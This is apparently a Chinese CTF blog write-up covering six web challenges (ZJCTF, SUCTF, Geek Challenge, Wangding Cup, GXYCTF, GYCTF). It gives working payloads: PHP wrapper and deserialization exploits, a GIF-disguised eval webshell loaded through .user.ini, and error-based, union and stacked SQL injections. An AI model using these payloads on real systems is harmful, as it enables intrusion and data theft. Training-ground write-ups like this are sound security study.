你👱🏻‍滴快乐寒假 开始辽
因为你👱🏻‍再摸鱼滴话就要get out了

[ZJCTF 2019]NiZhuanSiWei

你👱🏻‍打开环境,一看要代码审计,很好,你👱🏻‍还有搜索的余地

这里利用data协议绕过 将welcome to the zjctf写入 而data://协议允许读入

先将welcome to the zjctf进行base64加密,结合提示的useless.php

然后写payload为

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

然后你👱🏻‍读出了useless.phpbase64加密的内容

进行base64解码得到

<?php  

class Flag{  //flag.php  
 public $file;  
 public function __tostring(){  
     if(isset($this->file)){  
         echo file_get_contents($this->file); 
         echo "<br>";
     return ("U R SO CLOSE !///COME ON PLZ");
    }  
}  
}  
?>  

这里又多少沾点反序列化的knowledge了

这里你👱🏻‍构造:

 <?php  
class Flag{
    public $file='flag.php';  
    public function __tostring(){  
       if(isset($this->file)){  
        echo file_get_contents($this->file); 
        echo "<br>";
    return ("U R SO CLOSE !///COME ON PLZ");
    }  
  }  
} 
$a=new Flag();
$a = serialize($a);
echo $a; 
?>  

得到:

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}  

构造payload为

/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}

F12即可得到flag

[SUCTF 2019]CheckIn

你👱🏻‍打开发现是上传

然后你👱🏻‍就开始传

你👱🏻‍首先试了下php文件,发现不彳亍,php3 php5 phtml都get out了
改成jpg文件又说检测到<?内容

然后你👱🏻‍换成了

GIF89a
<script language="php">eval($_POST['shell']);</script>

上传后有回显

但是这样还不够,这里只是图片🐴,还无法被解析执行,所以还需要文件包含漏洞。

这里还需要首先上传user.ini

GIF89a
auto_prepend_file=6.jpg

这里GIF89a?是作为一个图形文件欺骗,这里需要加上这个伪装图形文件绕过检测

再上传6.jpg

GIF89a?
<script language="php">eval($_GET['cmd']);</script>

但是你👱🏻‍不知道是蚁剑还是你👱🏻‍多少沾了点 怎么都连不上去,于是你👱🏻‍只能手动操作

把图片马换成system(“cat /flag”);

即为

 GIF89a?
 <script language=php>system("cat /flag");</script>

访问目录下index.php

即可得到flag

[极客大挑战 2019]HardSQL

我趣 又是这个银出的

经过测试 发现过滤了and = 空格 union等多个sql关键字

这下给你�逮住了�🏻‍

你👱🏻‍运用搜索引擎知道这里是要用updatexml报错注入

你👱🏻‍使用

?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=admin

查到表为H4rDsq1

然后你👱🏻‍用

?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=admin

查列为id,username,password

然后你👱🏻‍用

?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))%23&password=admin

查内容为

![](https://s2.loli.net/2022/01/19/HKOz4PFl1GLCyU9.png)

只有左半部分

这里用right()得到右半部分

?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,25)))from(H4rDsq1)),0x7e),1))%23&password=asdf

记得合并还要去掉重复部分

[网鼎杯 2020 青龙组]AreUSerialz

你👱🏻‍打开网页 这里首先是进行一个代码审计

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
    $op = "1";
    $filename = "/tmp/tmpfile";
    $content = "Hello World!";
    $this->process();
}

public function process() {
    if($this->op == "1") {
        $this->write();
    } else if($this->op == "2") {
        $res = $this->read();
        $this->output($res);
    } else {
        $this->output("Bad Hacker!");
    }
}

private function write() {
    if(isset($this->filename) && isset($this->content)) {
        if(strlen((string)$this->content) > 100) {
            $this->output("Too long!");
            die();
        }
        $res = file_put_contents($this->filename, $this->content);
        if($res) $this->output("Successful!");
        else $this->output("Failed!");
    } else {
        $this->output("Failed!");
    }
}

private function read() {
    $res = "";
    if(isset($this->filename)) {
        $res = file_get_contents($this->filename);
    }
    return $res;
}

private function output($s) {
    echo "[Result]: <br>";
    echo $s;
}

function __destruct() {
    if($this->op === "2")
        $this->op = "1";
    $this->content = "";
    $this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
    if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
        return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
    $obj = unserialize($str);
}

}

你👱🏻‍:这是一个php反序列化题目,首先需要传入一个str,这个is_valid()规定了传入的每一个字符的ASCII🐴范围必须在32到125之间,然后会对这个str进行反序列化操作

在反序列化中首先会调用_destruct()析构方法

   function __destruct() {
    if($this->op === "2")
        $this->op = "1";
    $this->content = "";
    $this->process();
}

你👱🏻‍:这里可以看到 如果op ===”2”,那么op会被赋值为”1”,然后content会赋值为空,并且执行process()函数,这里if中是强类型比较。

这里看看process函数

  public function process() {
    if($this->op == "1") {
        $this->write();
    } else if($this->op == "2") {
        $res = $this->read();
        $this->output($res);
    } else {
        $this->output("Bad Hacker!");
    }
}

你👱🏻‍:如果op == “1”,执行write()函数;如果op ==“2”,执行read函数,同时将结果赋值给$res,然后输出;否则将输出”Bad Hacker!”

这里 if 语句中的判断语句用的是弱类型的比较,那么只要op=2,这个是int整数型的2,那么op === “2” 则为False, op == “2”则为True,就可以进入read函数。

再看看read函数

private function read() {
    $res = "";
    if(isset($this->filename)) {
        $res = file_get_contents($this->filename);
    }
    return $res;
}

你👱🏻‍:在read函数中,使用filename调用file_get_contents函数将文件内容赋值给$res输出。

这里的filename是我们可控的,那么可以用前不久学的php://filter伪协议读取文件。然后使用output函数输出。

 private function output($s) {
    echo "[Result]: <br>";
    echo $s;
}

那么整个过程就clear了

1.op=2

2.filename = "php://filter/read=convert.base64-encode/resource=flag.php

写出来就介🐏

 <?php

class FileHandler {

protected $op=2;
protected $filename="php://filter/read=convert.base64-encode/resource=flag.php";
protected $content;

function __construct() {
    $op = "1";
    $filename = "/tmp/tmpfile";
    $content = "Hello World!";
    // $this->process();
}

public function process() {
    if($this->op == "1") {
        $this->write();
    } else if($this->op == "2") {
        $res = $this->read();
        $this->output($res);
    } else {
        $this->output("Bad Hacker!");
    }
}

private function write() {
    if(isset($this->filename) && isset($this->content)) {
        if(strlen((string)$this->content) > 100) {
            $this->output("Too long!");
            die();
        }
        $res = file_put_contents($this->filename, $this->content);
        if($res) $this->output("Successful!");
        else $this->output("Failed!");
    } else {
        $this->output("Failed!");
    }
}

private function read() {
    $res = "";
    if(isset($this->filename)) {
        $res = file_get_contents($this->filename);
    }
    return $res;
}

private function output($s) {
    echo "[Result]: <br>";
    echo $s;
}

function __destruct() {
    if($this->op === "2")
        $this->op = "1";
    $this->content = "";
    // $this->process();
}

}
$A=new FileHandler();
$B=serialize($A);
echo $B;

这里有几个地方显示不了,原因是在于 $op $filename $content三个变量权限都是protected,而protected权限的变量在序列化时会有%00*%00字符,%00字符的ASCII码为0,不在is_valid函数规定的32到125的范围内。

这里可以使用一种简单的办法绕过:因为php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public就可以了。

改为

public $op=2;
public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
public $content;

即可

得到base64加密后的字符串,用base64解码后即可得到flag

[GXYCTF2019]BabySQli

你👱🏻‍尝试万能密码1’or 1=1–+ 显示密码错误

但是你👱🏻‍F12后看到上面绿色奇怪字符串

对其进行base32解码

这里你👱🏻‍先说说base32 和 base64 的区别,
base32 只有大写字母和数字数字组成,或者后面有三个等号。
base64 只有大写字母和数字,小写字母组成,后面一般是两个等号。
明显,那段文字是base32加密

解码得到base64加密的

再用base64解码得到

  select * from user where username = '$name'

然后你👱🏻‍用联合查询进行测试字段数

你👱🏻‍尝试user=admin&pass=123 提示为wrong pass再尝试user=aa提示wrong user,说明有admin这个user的。

你👱🏻‍尝试union联合注入,user=’ union select 1,2,3 #不报错,user=’ union select 1,2,3,4 #报错了

为1,2的时候也报错了,说明一共3个字段

既然知道是密码错误,又是admin这个账户的,接下来测试用户这个字段到底在哪一个字段当中。测试

 1' union select 'admin',2,3#

可以发现user错误


1’ union select 1,’admin’,3#
是pass密码错误

所以第二个字段是user字段

知识点:

 联合查询如果查询不存在的数据,会构造虚拟的数据

比如:

通过union select构造一行虚拟的数据

这样你👱🏻‍就可以利用联合查询来建造另外一行admin账户的续集数据,混淆admin用户的密码,将我们自定义的admin用户密码加进去(多少沾点无中生有)

于是你👱🏻‍在用户登录框输入

  1' union select 1,'admin','202cb962ac59075b964b07152d234b70'#

其中202cb962ac59075b964b07152d234b70为123的MD5值

登陆进去

成功拿到flag

[GYCTF2020]Blacklist

这道题是堆叠注入,union等关键词被过滤,正常注入无法进行

堆叠注入——使用分号结束上一个语句再叠加其他语句一起执行

你👱🏻‍首先查询列数

1' order by 2#

正常

1' order by 3#

报错

所以是两列

1' and 1=2;show databases#‘
1' and 1=2;show tables#

分别查询库和表

然后你👱🏻‍

1' and 1=2;desc `FlagHere`#

你👱🏻‍到这里卡住了一会,搜了一下发现

HANDLER … OPEN语句打开一个表,使其可以使用后续HANDLER … READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER … CLOSE或会话终止之前不会关闭

1' and 1=2; HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#